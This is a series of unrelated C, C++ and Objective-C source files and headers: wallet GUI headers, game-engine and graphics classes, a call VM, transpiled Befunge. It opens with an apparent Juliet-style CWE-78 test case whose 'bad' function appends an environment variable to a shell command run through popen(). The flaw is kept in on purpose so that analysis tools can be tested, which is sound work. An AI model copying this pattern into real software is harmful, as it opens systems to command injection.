/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE78_OS_Command_Injection__wchar_t_environment_popen_14.c Label Definition File: CWE78_OS_Command_Injection.one_string.label.xml Template File: sources-sink-14.tmpl.c */ /* * @description * CWE: 78 OS Command Injection * BadSource: environment Read input from an environment variable * GoodSource: Fixed string * Sink: popen * BadSink : Execute command in data using popen() * Flow Variant: 14 Control flow: if(globalFive==5) and if(globalFive!=5) * * */ #include "std_testcase.h" #include <wchar.h> #ifdef _WIN32 #define FULL_COMMAND L"%WINDIR%\\system32\\cmd.exe /c dir " #else #include <unistd.h> #define FULL_COMMAND L"/bin/sh ls -la " #endif #define ENV_VARIABLE L"ADD" #ifdef _WIN32 #define GETENV _wgetenv #else #define GETENV getenv #endif /* define POPEN as _popen on Windows and popen otherwise */ #ifdef _WIN32 #define POPEN _wpopen #define PCLOSE _pclose #else /* NOT _WIN32 */ #define POPEN popen #define PCLOSE pclose #endif #ifndef OMITBAD void CWE78_OS_Command_Injection__wchar_t_environment_popen_14_bad() { wchar_t * data; wchar_t data_buf[100] = FULL_COMMAND; data = data_buf; if(globalFive==5) { { /* Append input from an environment variable to data */ size_t dataLen = wcslen(data); wchar_t * environment = GETENV(ENV_VARIABLE); /* If there is data in the environment variable */ if (environment != NULL) { /* POTENTIAL FLAW: Read data from an environment variable */ wcsncat(data+dataLen, environment, 100-dataLen-1); } } } { FILE *pipe; /* POTENTIAL FLAW: Execute command in data possibly leading to command injection */ pipe = POPEN(data, L"wb"); if (pipe != NULL) { PCLOSE(pipe); } } } #endif /* OMITBAD */ #ifndef OMITGOOD /* goodG2B1() - use goodsource and badsink by changing the globalFive==5 to globalFive!=5 */ static void goodG2B1() { wchar_t * data; wchar_t data_buf[100] = FULL_COMMAND; data = data_buf; if(globalFive!=5) { /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */ printLine("Benign, fixed string"); } else { /* FIX: Append a fixed string to data (not user / external input) */ wcscat(data, L"*.*"); } { FILE *pipe; /* POTENTIAL FLAW: Execute command in data possibly leading to command injection */ pipe = POPEN(data, L"wb"); if (pipe != NULL) { PCLOSE(pipe); } } } /* goodG2B2() - use goodsource and badsink by reversing the blocks in the if statement */ static void goodG2B2() { wchar_t * data; wchar_t data_buf[100] = FULL_COMMAND; data = data_buf; if(globalFive==5) { /* FIX: Append a fixed string to data (not user / external input) */ wcscat(data, L"*.*"); } { FILE *pipe; /* POTENTIAL FLAW: Execute command in data possibly leading to command injection */ pipe = POPEN(data, L"wb"); if (pipe != NULL) { PCLOSE(pipe); } } } void CWE78_OS_Command_Injection__wchar_t_environment_popen_14_good() { goodG2B1(); goodG2B2(); } #endif /* OMITGOOD */ /* Below is the main(). It is only used when building this testcase on * its own for testing or for building a binary to use in testing binary * analysis tools. It is not used when compiling all the testcases as one * application, which is how source code analysis tools are tested. */ #ifdef INCLUDEMAIN int main(int argc, char * argv[]) { /* seed randomness */ srand( (unsigned)time(NULL) ); #ifndef OMITGOOD printLine("Calling good()..."); CWE78_OS_Command_Injection__wchar_t_environment_popen_14_good(); printLine("Finished good()"); #endif /* OMITGOOD */ #ifndef OMITBAD printLine("Calling bad()..."); CWE78_OS_Command_Injection__wchar_t_environment_popen_14_bad(); printLine("Finished bad()"); #endif /* OMITBAD */ return 0; } #endif
// copyright (c) 2011-2013 the moorecoin core developers // distributed under the mit software license, see the accompanying // file copying or http://www.opensource.org/licenses/mit-license.php. #ifndef moorecoin_qt_openuridialog_h #define moorecoin_qt_openuridialog_h #include <qdialog> namespace ui { class openuridialog; } class openuridialog : public qdialog { q_object public: explicit openuridialog(qwidget *parent); ~openuridialog(); qstring geturi(); protected slots: void accept(); private slots: void on_selectfilebutton_clicked(); private: ui::openuridialog *ui; }; #endif // moorecoin_qt_openuridialog_h
#pragma once #include "SsHUD.generated.h" UCLASS() class SPRITESTUDIO5_API ASsHUD : public AHUD { GENERATED_UCLASS_BODY() public: // 指定したSsPlayerをCanvasに描画します // Event Receive Draw HUD からのみ使用可能です // アルファ値はテクスチャのアルファのみ反映されます // アルファブレンドモード/カラーブレンドモードは反映されません UFUNCTION(Category=SpriteStudio, BlueprintCallable, meta=(AdvancedDisplay="2")) void DrawSsPlayer(class USsPlayerComponent* SsPlayer, FVector2D Location, float Rotation=0.f, FVector2D Scale=FVector2D(1.f,1.f)); private: UPROPERTY(Category=SpriteStudio, VisibleAnywhere) class USsPlayerComponent* SsPlayerComponent; };
/* * Generated by class-dump 3.3.4 (64 bit). * * class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2011 by Steve Nygard. */ @protocol TUAudioPlayerDelegateProtocol - (void)audioPlayerDidStopPlaying:(id)arg1; @end
// The MIT License (MIT) // // Copyright (c) 2014 Benjamin Egelund-Müller // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. #import <QuartzCore/QuartzCore.h> #pragma mark - #pragma mark Interface @interface CAAnimation (EMCompletionBlock) /** Corresponds to the delegate method -animationDidStart: */ @property (nonatomic, copy) void(^startBlock)(void); /** Corresponds to the delegate method -animationDidStop:finished: */ @property (nonatomic, copy) void(^stopBlock)(BOOL finished); /** Corresponds to the delegate method -animationDidStop:finished: where finished == YES */ @property (nonatomic, copy) void(^completionBlock)(void); @end
/* transpiled with BefunCompile v1.3.0 (c) 2017 */ #include <stdio.h> #include <stdlib.h> #define int64 long long char* _g = "v303232332323{ } [v313232332323{ } [6{ } g>2*>::0g\"0\"-47*+\\0p::v{ } U|:-1p1\\+*74-\"0\"g1 <{ } Rv $<{ } d>202p112p122p\"2&\"*1+" "32p092pv{ } Lv20+1g20p29+g29!+-1g21%7g20<>#{ } '0# v# < >{ } 1>v>p12g1+12p32g4%{ } -|{ } '>1 >>22g\\g12g1--|{ } O>32" "g\"d\"%| 0^ < # >112p22g:1+22p66+-|{ } ;v%*4\"d\"g23<>#^_1^ |-+1*\"(2\"g23<p23+1g23p221<{ } ;>{ } *^>1^ >92g.@ ^{ }" " -<"; int t=0;int z=0; int64 g[864]; int d(){int s,w,i,j,h;h=z;for(;t<388;t++)if(_g[t]==';')g[z++]=_g[++t];else if(_g[t]=='}')return z-h;else if(_g[t]=='{'){t++;s=z;w=d();for(i=1;i<_g[t+1]*9025+_g[t+2]*95+_g[t+3]-291872;i++)for(j=0;j<w;g[z++]=g[s+j++]);t+=3;}else g[z++]=_g[t];return z-h;} int64 gr(int64 x,int64 y){if(x>=0&&y>=0&&x<72&&y<12){return g[y*72+x];}else{return 0;}} void gw(int64 x,int64 y,int64 v){if(x>=0&&y>=0&&x<72&&y<12){g[y*72+x]=v;}} int64 td(int64 a,int64 b){ return (b==0)?0:(a/b); } int64 tm(int64 a,int64 b){ return (b==0)?0:(a%b); } int64*s;int q=16384;int y=0; int64 sp(){if(!y)return 0;return s[--y];} void sa(int64 v){if(q-y<8)s=(int64*)realloc(s,(q*=2)*sizeof(int64));s[y++]=v;} int64 sr(){if(!y)return 0;return s[y-1];} int main(void) { int64 t0; d(); s=(int64*)calloc(q,sizeof(int64)); gw(12,0,gr(12,0)-20); gw(12,1,gr(12,1)-20); sa(11); sa(11); _1: if(sp()!=0)goto _2;else goto _3; _2: sa(sr()); sa(sr()); sa(0); {int64 v0=sp();sa(gr(sp(),v0));} sa(sp()-48LL); sa(sp()+28LL); {int64 v0=sp();int64 v1=sp();sa(v0);sa(v1);} sa(0); {int64 v0=sp();int64 v1=sp();gw(v1,v0,sp());} sa(sr()); sa(sr()); sa(1); {int64 v0=sp();sa(gr(sp(),v0));} sa(sp()-48LL); sa(sp()+28LL); {int64 v0=sp();int64 v1=sp();sa(v0);sa(v1);} sa(1); {int64 v0=sp();int64 v1=sp();gw(v1,v0,sp());} sa(sp()-1LL); sa(sr()); goto _1; _3: gw(0,2,2); gw(1,2,1); gw(2,2,1); gw(3,2,1901); gw(9,2,0); sp(); _4: gw(9,2,(((gr(0,2)%7)+(gr(1,2)-1)!=0)?0:1)+gr(9,2)); gw(0,2,gr(0,2)+1); gw(1,2,gr(1,2)+1); if((gr(3,2)%4)!=0)goto _5;else goto _11; _5: sa(gr(gr(2,2),0)-(gr(1,2)-1)); _6: if(sp()!=0)goto _9;else goto _7; _7: gw(1,2,1); t0=gr(2,2)-12; gw(2,2,gr(2,2)+1); if((t0)!=0)goto _9;else goto _8; _8: gw(2,2,1); gw(3,2,gr(3,2)+1); _9: if(gr(3,2)!=2001)goto _4;else goto _10; _10: printf("%lld ", gr(9,2)); return 0; _11: if((gr(3,2)%100)!=0)goto _12;else goto _13; _12: sa(gr(gr(2,2),1)-(gr(1,2)-1)); goto _6; _13: if((gr(3,2)%400)!=0)goto _5;else goto _12; }
/* Package: dyncall Library: dyncall File: dyncall/dyncall_callvm_sparc64.c Description: Call VM for sparc64 (v9) ABI. License: Copyright (c) 2011-2018 Daniel Adler <dadler@uni-goettingen.de> Permission to use, copy, modify, and distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include "dyncall_callvm_sparc64.h" #include "dyncall_call_sparc64.h" #include "dyncall_alloc.h" /* Reset argument buffer. */ static void dc_callvm_reset_v9(DCCallVM* in_self) { DCCallVM_v9* self = (DCCallVM_v9*)in_self; dcVecResize(&self->mVecHead, 0); } /* Destructor. */ static void dc_callvm_free_v9(DCCallVM* in_self) { dcFreeMem(in_self); } static void dc_callvm_argLongLong_v9(DCCallVM* in_self, DClonglong x) { DCCallVM_v9* self = (DCCallVM_v9*)in_self; dcVecAppend(&self->mVecHead, &x, sizeof(DClonglong)); } /* all integers are promoted to 64-bit. */ static void dc_callvm_argLong_v9 (DCCallVM* in_self, DClong x) { dc_callvm_argLongLong_v9(in_self, (DClonglong) x ); } static void dc_callvm_argInt_v9 (DCCallVM* in_self, DCint x) { dc_callvm_argLongLong_v9(in_self, (DClonglong) x ); } static void dc_callvm_argBool_v9 (DCCallVM* in_self, DCbool x) { dc_callvm_argLongLong_v9(in_self, (DClonglong) x ); } static void dc_callvm_argChar_v9 (DCCallVM* in_self, DCchar x) { dc_callvm_argLongLong_v9(in_self, (DClonglong) x ); } static void dc_callvm_argShort_v9 (DCCallVM* in_self, DCshort x) { dc_callvm_argLongLong_v9(in_self, (DClonglong) x ); } static void dc_callvm_argPointer_v9(DCCallVM* in_self, DCpointer x) { dc_callvm_argLongLong_v9(in_self, (DClonglong) x ); } static void dc_callvm_argDouble_v9(DCCallVM* in_self, DCdouble x) { DCCallVM_v9* self = (DCCallVM_v9*)in_self; dcVecAppend(&self->mVecHead, &x, sizeof(DCdouble)); } static void dc_callvm_argDouble_v9_ellipsis(DCCallVM* in_self, DCdouble x) { union { long long l; double d; } u; u.d = x; dc_callvm_argLongLong_v9(in_self, u.l); } static void dc_callvm_argFloat_v9_ellipsis(DCCallVM* in_self, DCfloat x) { dc_callvm_argDouble_v9_ellipsis(in_self, (DCdouble) x); } static void dc_callvm_argFloat_v9(DCCallVM* in_self, DCfloat x) { union { double d; float f[2]; } u; u.f[1] = x; dc_callvm_argDouble_v9(in_self, u.d); } static void dc_callvm_mode_v9(DCCallVM* in_self, DCint mode); DCCallVM_vt gVT_v9_ellipsis = { &dc_callvm_free_v9, &dc_callvm_reset_v9, &dc_callvm_mode_v9, &dc_callvm_argBool_v9, &dc_callvm_argChar_v9, &dc_callvm_argShort_v9, &dc_callvm_argInt_v9, &dc_callvm_argLong_v9, &dc_callvm_argLongLong_v9, &dc_callvm_argFloat_v9_ellipsis, &dc_callvm_argDouble_v9_ellipsis, &dc_callvm_argPointer_v9, NULL /* argStruct */, (DCvoidvmfunc*) &dcCall_v9, (DCboolvmfunc*) &dcCall_v9, (DCcharvmfunc*) &dcCall_v9, (DCshortvmfunc*) &dcCall_v9, (DCintvmfunc*) &dcCall_v9, (DClongvmfunc*) &dcCall_v9, (DClonglongvmfunc*) &dcCall_v9, (DCfloatvmfunc*) &dcCall_v9, (DCdoublevmfunc*) &dcCall_v9, (DCpointervmfunc*) &dcCall_v9, NULL /* callStruct */ }; /* CallVM virtual table. */ DCCallVM_vt gVT_v9 = { &dc_callvm_free_v9, &dc_callvm_reset_v9, &dc_callvm_mode_v9, &dc_callvm_argBool_v9, &dc_callvm_argChar_v9, &dc_callvm_argShort_v9, &dc_callvm_argInt_v9, &dc_callvm_argLong_v9, &dc_callvm_argLongLong_v9, &dc_callvm_argFloat_v9, &dc_callvm_argDouble_v9, &dc_callvm_argPointer_v9, NULL /* argStruct */, (DCvoidvmfunc*) &dcCall_v9, (DCboolvmfunc*) &dcCall_v9, (DCcharvmfunc*) &dcCall_v9, (DCshortvmfunc*) &dcCall_v9, (DCintvmfunc*) &dcCall_v9, (DClongvmfunc*) &dcCall_v9, (DClonglongvmfunc*) &dcCall_v9, (DCfloatvmfunc*) &dcCall_v9, (DCdoublevmfunc*) &dcCall_v9, (DCpointervmfunc*) &dcCall_v9, NULL /* callStruct */ }; /* mode: only a single mode available currently. */ static void dc_callvm_mode_v9(DCCallVM* in_self, DCint mode) { DCCallVM_v9* self = (DCCallVM_v9*)in_self; DCCallVM_vt* vt; switch(mode) { case DC_CALL_C_DEFAULT: case DC_CALL_C_SPARC64: case DC_CALL_C_ELLIPSIS: vt = &gVT_v9; break; case DC_CALL_C_ELLIPSIS_VARARGS: vt = &gVT_v9_ellipsis; break; default: self->mInterface.mError = DC_ERROR_UNSUPPORTED_MODE; return; } dc_callvm_base_init(&self->mInterface, vt); } /* Public API. */ DCCallVM* dcNewCallVM(DCsize size) { DCCallVM_v9* p = (DCCallVM_v9*)dcAllocMem(sizeof(DCCallVM_v9)+size); dc_callvm_mode_v9((DCCallVM*)p, DC_CALL_C_DEFAULT); dcVecInit(&p->mVecHead,size); dc_callvm_reset_v9(&p->mInterface); return (DCCallVM*)p; }
#ifndef _TEXTURING_H_ #define _TEXTURING_H_ #include "Application.h" #include "Camera.h" #include "GLMHeader.h" class Texturing : public Application { public: Texturing(); ~Texturing(); bool startup(); void shutdown(); bool update(); void draw(); void GenerateGrid(unsigned int a_uiRows, unsigned int a_uiCols); void GenerateShader(); void LoadTexture(const char* a_szFileName); void GenerateQuad(float a_fSize); unsigned int m_uiProgramID; unsigned int m_uiTextureID; unsigned int m_uiIndexCount; FlyCamera m_FlyCamera; unsigned int m_uiVAO; unsigned int m_uiVBO; unsigned int m_uiIBO; private: unsigned int m_uiRows; unsigned int m_uiCols; float m_timer; }; #endif // !_TEXTURING_H_
#ifndef SIEVE_GUARD #define SIEVE_GUARD #include "pair.h" #include "vector.h" #include "matrix.h" #include "quadratic_sieve.h" #include <gmp.h> #include <omp.h> /* Schema della suddivisione dell'intervallo dei valori di A * * begin end * |______________________________| size = interval * * begin_thread end_thread * |______________| size = dom_decomp = interval / n_threads * * l end_block * |__||__||__||__| size = block_size */ /* Coppia di soluzioni xp e yp in mpz */ struct mpz_pair { mpz_t sol1; mpz_t sol2; }; typedef struct mpz_pair mpz_pair; /* Funzione che esegue la parte di crivello nell'algoritmo: * * trova almeno base_dim + max_fact fattorizzazioni completi * di elementi Q(A) per A in [begin, begin + interval] e * spedisce al main mediante MPI_Send il vettore degli * esponenti trovato e (A + s) calcolato. * * La funzione ritorna il flag di stop. */ unsigned int smart_sieve(mpz_t n, // Il numero da fattorizzare unsigned int* factor_base, // La base di fattori unsigned int base_dim, // La dimensione della base di fattori pair* solutions, // Il vettore contenente le soluzioni all'equazione mpz_t begin, // Inizio della sequenza degli A unsigned int interval, // A in [begin, begin + interval] unsigned int block_size, // Porzione di [startfrom, M] da calcolare alla volta unsigned int max_fact); // max_fact + base_dim = massime fattorizzazioni #endif // SIEVE_GUARD
//{{NO_DEPENDENCIES}} // Microsoft Developer Studio generated include file. // Used by bm.rc // #define IDD_ABOUTBOX 100 #define IDB_SPLASH 102 #define IDR_MAINFRAME 128 #define IDR_BMTYPE 129 #define IDB_BITMAP1 130 #define IDB_BITMAP2 131 #define IDD_DIALOG1 132 #define IDB_BITMAP3 133 #define IDD_DIALOG2 134 #define IDB_BITMAP4 135 #define IDI_ICON1 136 #define IDC_EDIT1 1000 #define IDC_RADIO1 1003 #define IDC_RADIO2 1004 #define IDC_RADIO3 1005 #define IDC_RADIO4 1006 #define IDC_CHECK1 1008 #define IDC_SLIDER1 1009 #define IDC_EDIT2 1012 #define DC_BEGINGAME 32771 #define IDC_REGRRET 32774 #define IDC_DAPU 32775 #define IDC_TIMEMODE 32776 #define IDC_zhizhao 32783 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_3D_CONTROLS 1 #define _APS_NEXT_RESOURCE_VALUE 137 #define _APS_NEXT_COMMAND_VALUE 32784 #define _APS_NEXT_CONTROL_VALUE 1013 #define _APS_NEXT_SYMED_VALUE 103 #endif #endif
// Copyright (c) 2014 The ShadowCoin developers // Distributed under the MIT/X11 software license, see the accompanying // file license.txt or http://www.opensource.org/licenses/mit-license.php. #ifndef GAMEUNITSGUI_H #define GAMEUNITSGUI_H #include <QMainWindow> #include <QWebView> #include <QWebElement> #include <QSystemTrayIcon> #include <QLabel> #include <QModelIndex> #include "gameunitsbridge.h" #include "rpcconsole.h" #include <stdint.h> class TransactionTableModel; class ClientModel; class WalletModel; class MessageModel; class SignVerifyMessageDialog; class Notificator; QT_BEGIN_NAMESPACE class QLabel; class QMenuBar; class QToolBar; class QUrl; QT_END_NAMESPACE /** Gameunits GUI main class. This class represents the main window of the Gameunits UI. It communicates with both the client and wallet models to give the user an up-to-date view of the current core state. */ class GameunitsGUI : public QMainWindow { Q_OBJECT public: explicit GameunitsGUI(QWidget *parent = 0); ~GameunitsGUI(); /** Set the client model. The client model represents the part of the core that communicates with the P2P network, and is wallet-agnostic. */ void setClientModel(ClientModel *clientModel); /** Set the wallet model. The wallet model represents a bitcoin wallet, and offers access to the list of transactions, address book and sending functionality. */ void setWalletModel(WalletModel *walletModel); /** Set the message model. The message model represents encryption message database, and offers access to the list of messages, address book and sending functionality. */ void setMessageModel(MessageModel *messageModel); protected: void changeEvent(QEvent *e); void closeEvent(QCloseEvent *event); void dragEnterEvent(QDragEnterEvent *event); void dragMoveEvent(QDragMoveEvent *event); void dropEvent(QDropEvent *event); private: QWebView *webView; QWebFrame *documentFrame; GameunitsBridge * bridge; ClientModel *clientModel; WalletModel *walletModel; MessageModel *messageModel; SignVerifyMessageDialog *signVerifyMessageDialog; QMenuBar *appMenuBar; QAction *signMessageAction; QAction *verifyMessageAction; QAction *quitAction; QAction *aboutAction; QAction *optionsAction; QAction *toggleHideAction; QAction *exportAction; QAction *encryptWalletAction; QAction *backupWalletAction; QAction *changePassphraseAction; QAction *unlockWalletAction; QAction *lockWalletAction; QAction *aboutQtAction; QAction *openRPCConsoleAction; QSystemTrayIcon *trayIcon; Notificator *notificator; RPCConsole *rpcConsole; uint64_t nWeight; /** Create the main UI actions. */ void createActions(); /** Create the menu bar and sub-menus. */ void createMenuBar(); /** Create system tray (notification) icon */ void createTrayIcon(); friend class GameunitsBridge; private slots: /** Page finished loading */ void pageLoaded(bool ok); /** Add JavaScript objects to page */ void addJavascriptObjects(); /** Handle external URLs **/ void urlClicked(const QUrl & link); /** Set number of connections shown in the UI */ void setNumConnections(int count); /** Set number of blocks shown in the UI */ void setNumBlocks(int count, int nTotalBlocks); /** Set the encryption status as shown in the UI. @param[in] status current encryption status @see WalletModel::EncryptionStatus */ void setEncryptionStatus(int status); /** Notify the user of an error in the network or transaction handling code. */ void error(const QString &title, const QString &message, bool modal); /** Asks the user whether to pay the transaction fee or to cancel the transaction. It is currently not possible to pass a return value to another thread through BlockingQueuedConnection, so an indirected pointer is used. https://bugreports.qt-project.org/browse/QTBUG-10440 @param[in] nFeeRequired the required fee @param[out] payFee true to pay the fee, false to not pay the fee */ void askFee(qint64 nFeeRequired, bool *payFee); void handleURI(QString strURI); #ifndef Q_OS_MAC /** Handle tray icon clicked */ void trayIconActivated(QSystemTrayIcon::ActivationReason reason); #endif /** Show incoming transaction notification for new transactions. The new items are those between start and end inclusive, under the given parent item. */ void incomingTransaction(const QModelIndex & parent, int start, int end); /** Show incoming message notification for new messages. The new items are those between start and end inclusive, under the given parent item. */ void incomingMessage(const QModelIndex & parent, int start, int end); /** Show Sign/Verify Message dialog and switch to sign message tab */ void gotoSignMessageTab(QString addr = ""); /** Show Sign/Verify Message dialog and switch to verify message tab */ void gotoVerifyMessageTab(QString addr = ""); /** Show configuration dialog */ void optionsClicked(); /** Show about dialog */ void aboutClicked(); /** Unlock wallet */ void unlockWallet(); /** Lock wallet */ void lockWallet(); /** Toggle whether wallet is locked or not */ void toggleLock(); /** Encrypt the wallet */ void encryptWallet(bool status); /** Backup the wallet */ void backupWallet(); /** Change encrypted wallet passphrase */ void changePassphrase(); /** Show window if hidden, unminimize when minimized, rise when obscured or show if hidden and fToggleHidden is true */ void showNormalIfMinimized(bool fToggleHidden = false); /** simply calls showNormalIfMinimized(true) for use in SLOT() macro */ void toggleHidden(); void updateWeight(); void updateStakingIcon(); /** called by a timer to check if fRequestShutdown has been set **/ void detectShutdown(); }; #endif
#ifndef STARDEC_LOGICALOPERATOR_H #define STARDEC_LOGICALOPERATOR_H #include <string> #include <iostream> namespace stardec { enum oper {AND_OP=1, OR_OP=2, NOT_OP=3, ARG_OP=4}; class logicaloperator { public: static logicaloperator *build_arg(std::string a) { return new logicaloperator(oper::ARG_OP, nullptr, nullptr, a); } static logicaloperator *build_not(logicaloperator *log) { return new logicaloperator(oper::NOT_OP, log, nullptr, ""); } static logicaloperator *build_or(logicaloperator *left, logicaloperator *right) { return new logicaloperator(oper::OR_OP, left, right, ""); } static logicaloperator *build_and(logicaloperator *left, logicaloperator *right) { return new logicaloperator(oper::AND_OP, left, right, ""); } ~logicaloperator() { if(left != nullptr) delete left; if(right != nullptr) delete right; } std::string to_s() const { switch(type) { case ARG_OP: return arg; case AND_OP: return "(" + left->to_s() + " && " + right->to_s() + ")"; case OR_OP: return "(" + left->to_s() + " || " + right->to_s() + ")"; case NOT_OP: return "!" + left->to_s(); default: return ""; } } oper type; logicaloperator *left; logicaloperator *right; std::string arg; private: logicaloperator(oper t, logicaloperator *l, logicaloperator *r, std::string a) : type(t), left(l), right(r), arg(a) {} }; } #endif //STARDEC_LOGICALOPERATOR_H
// // NSMutableArray+Shuffle.h // EKPatterns // // Created by Evgeny Karkan on 26.04.14. // Copyright (c) 2014 EvgenyKarkan. All rights reserved. // @interface NSMutableArray (Shuffle) - (NSMutableArray *)shuffle; @end
// To check if a library is compiled with CocoaPods you // can use the `COCOAPODS` macro definition which is // defined in the xcconfigs so it is available in // headers also when they are imported in the client // project. // AFNetworking #define COCOAPODS_POD_AVAILABLE_AFNetworking #define COCOAPODS_VERSION_MAJOR_AFNetworking 1 #define COCOAPODS_VERSION_MINOR_AFNetworking 3 #define COCOAPODS_VERSION_PATCH_AFNetworking 0
/******************************************************************************/ /*! \file GfxComponent.h \author Matt Casanova \par email: lazersquad\@gmail.com \par Mach5 Game Engine \date 2016/08/20 Base graphics component. For now it just contains a texture. */ /******************************************************************************/ #ifndef GFX_COMPONENT #define GFX_COMPONENT #include "M5Component.h" enum DrawSpace { DS_WORLD, DS_HUD }; //!< Base graphics component. For now it just contains a texture. class GfxComponent : public M5Component { public: GfxComponent(void); ~GfxComponent(void); void Draw(void) const; virtual void Update(float dt); virtual GfxComponent* Clone(void) const; virtual void FromFile(M5IniFile& iniFile); void SetTextureID(int id); int GetTextureID(void) const; void SetTexture(const char* fileName); void SetDrawSpace(DrawSpace drawSpace); private: int m_textureID; //!< Texture id loaded from graphics. float m_texScaleX; float m_texScaleY; float m_texTransX; float m_texTransY; DrawSpace m_drawSpace; //!The space to draw in }; #endif // !GFX_COMPONENT
// // AliyunVodPlayerViewDefine.h // AliyunVodPlayerViewSDK // // Created by SMY on 16/9/8. // Copyright © 2016年 SMY. All rights reserved. // #ifndef AliyunVodPlayerViewDefine_h #define AliyunVodPlayerViewDefine_h #import <AliyunVodPlayerSDK/AliyunVodPlayer.h> typedef NS_ENUM (int, AliyunVodPlayerViewSkin) { AliyunVodPlayerViewSkinBlue = 0, AliyunVodPlayerViewSkinRed, AliyunVodPlayerViewSkinOrange, AliyunVodPlayerViewSkinGreen }; typedef NS_ENUM (int, AliyunVodPlayerViewPlaySpeed) { AliyunVodPlayerViewPlaySpeedNomal = 0 , AliyunVodPlayerViewPlaySpeedOnePointTwoFive, AliyunVodPlayerViewPlaySpeedOnePointFive, AliyunVodPlayerViewPlaySpeedTwo }; #endif /* AliyunVodPlayerViewDefine_h */
/* =========================================================================== Copyright (C) 2013 Rory Burks Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. =========================================================================== */ #ifndef RS_D3D_H #define RS_D3D_H // _d3d.h // // Contains the wrapper for the _d3d device. The core graphic engine. // // STYLE WARNING: Because _d3d functions have a lot of obnoxiously long argument // lists, I have forgone an 90-character ideal margin where sensible, so viewing // this code in squished editors will be unpleasant. // // TODO: There's a potential, when resizing the display size when another // process is trying to gain focus that errors will happen. Figure out what, why // and how to handle them. #include <string> #include <d3d9.h> #include <d3dx9.h> #pragma comment (lib, "d3d9.lib") //#ifdef _DEBUG // #pragma comment (lib, "d3dx9d.lib") //#else // #pragma comment (lib, "d3dx9.lib") //#endif #include "..\rs_error.h" #include "rs_math.h" #include "rs_graphics.h" namespace rockslide_graphics { //using rockslide_util::Vector3; static const int BONES_MAX = 40; // For now I'll hard-code FVF's, but they don't seem very F this way. #define CFVF_3DTEX (D3DFVF_XYZ | D3DFVF_TEX1) #define CFVF_3DCOLOR (D3DFVF_XYZ | D3DFVF_DIFFUSE) #define CFVF_2DCOLOR (D3DFVF_XYZRHW | D3DFVF_DIFFUSE) struct CVERT_3DTEX {FLOAT X, Y, Z; FLOAT TU, TV;}; struct CVERT_3DCOLOR {FLOAT X, Y, Z; DWORD COLOR;}; struct CVERT_2DCOLOR {FLOAT X, Y, Z, RHW; DWORD COLOR;}; class D3D_Engine : public GraphicsEngine { public: D3D_Engine(); ~D3D_Engine(); void init( HWND); void start_draw(); void end_draw(); void set_camera( float from_x, float from_y, float from_z, float to_x, float to_y, float to_z, float up_x, float up_y, float up_z); inline void set_camera( Vector3 from, Vector3 to, Vector3 up); void set_transform( float x, float y, float z, float sx, float sy, float sz, float xrot, float yrot, float zrot); inline void reset_transform(); int load_poly( IDirect3DVertexBuffer9* &out, void *data, int length, DWORD fvf, int sizeof_vertex); int load_index( IDirect3DIndexBuffer9* &out, void *data, int number_of_tris); IDirect3DTexture9* load_texture( std::string fname); ID3DXFont* create_font(); void draw_poly( IDirect3DVertexBuffer9* vb, int length, unsigned long fvf, int size_of_vertex); void draw_indexed_poly( IDirect3DVertexBuffer9* vb, int num_vert, int sizeof_vert, IDirect3DIndexBuffer9* ib, int num_ind, unsigned long fvf); inline void set_texture( IDirect3DTexture9* tex, int stream); inline void feed_bone_transforms(D3DXMATRIX *matrix_buffer, int size); inline void _set_uv_factor(float uvf); // Debug (probably) // Note: Probably shouldn't call this in-between start_draw and end_draw inline void change_display_size( unsigned int width, unsigned int height); GEType type() { return GET_D3D;} private: unsigned int _display_width, _display_height; IDirect3D9* _d3d; // the pointer to our Direct3D interface IDirect3DDevice9* _d3d_dev; // the pointer to the device class IDirect3DSwapChain9* _swap_chain; IDirect3DSurface9* _depth_buffer; // The implicit (default) render targets; used when swapping out 